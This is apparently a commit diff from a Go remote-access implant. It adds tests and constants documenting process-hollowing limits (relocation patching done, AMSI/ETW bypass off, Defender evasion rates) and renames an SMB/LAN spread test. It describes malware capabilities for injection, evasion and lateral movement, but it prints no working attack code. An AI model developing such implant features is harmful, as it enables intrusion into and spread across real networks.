Add by-design safety tests and clear PROBLEMS.md rows.

Go/Vitest coverage for bof_execute, hollow AMSI limits, cloudflared stub policy, KEV n/a, mesh P2P zero peers, and non-Windows GPU/camera stubs. Skip GPU subprocess on non-Windows; document cloudflared external connector path.

agent/deploy/hollow_design.go

@@ -0,0 +1,9 @@
+package deploy
+
+// Intentional process-hollowing limits (see hollow_windows.go RunHollowed).
+// Relocation patching is implemented; AMSI/ETW bypass is not — Defender may
+// still block ~50% of real-world attempts on Windows 10/11.
+const (
+	HollowRelocationsImplemented = true
+	HollowAMSIBypassImplemented  = false
+)

agent/deploy/hollow_test.go

@@ -16,3 +16,12 @@ func TestRunHollowedUnavailableWithoutTag(t *testing.T) {
 	}
 }
 
+func TestHollowDesignLimitsDocumented(t *testing.T) {
+	if !HollowRelocationsImplemented {
+		t.Fatal("relocation patching must remain implemented (H12)")
+	}
+	if HollowAMSIBypassImplemented {
+		t.Fatal("AMSI/ETW bypass must stay disabled by design")
+	}
+}
+

agent/deploy/smb_unc_spread_test.go

@@ -40,7 +40,7 @@ func TestSMBUNCSvcName(t *testing.T) {
 	}
 }
 
-func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
+func TestDiscoverLANSpreadTargetsRespectsCustomCap(t *testing.T) {
 	targets := DiscoverLANSpreadTargets(2)
 	if len(targets) > 2 {
 		t.Fatalf("cap ignored: got %d targets", len(targets))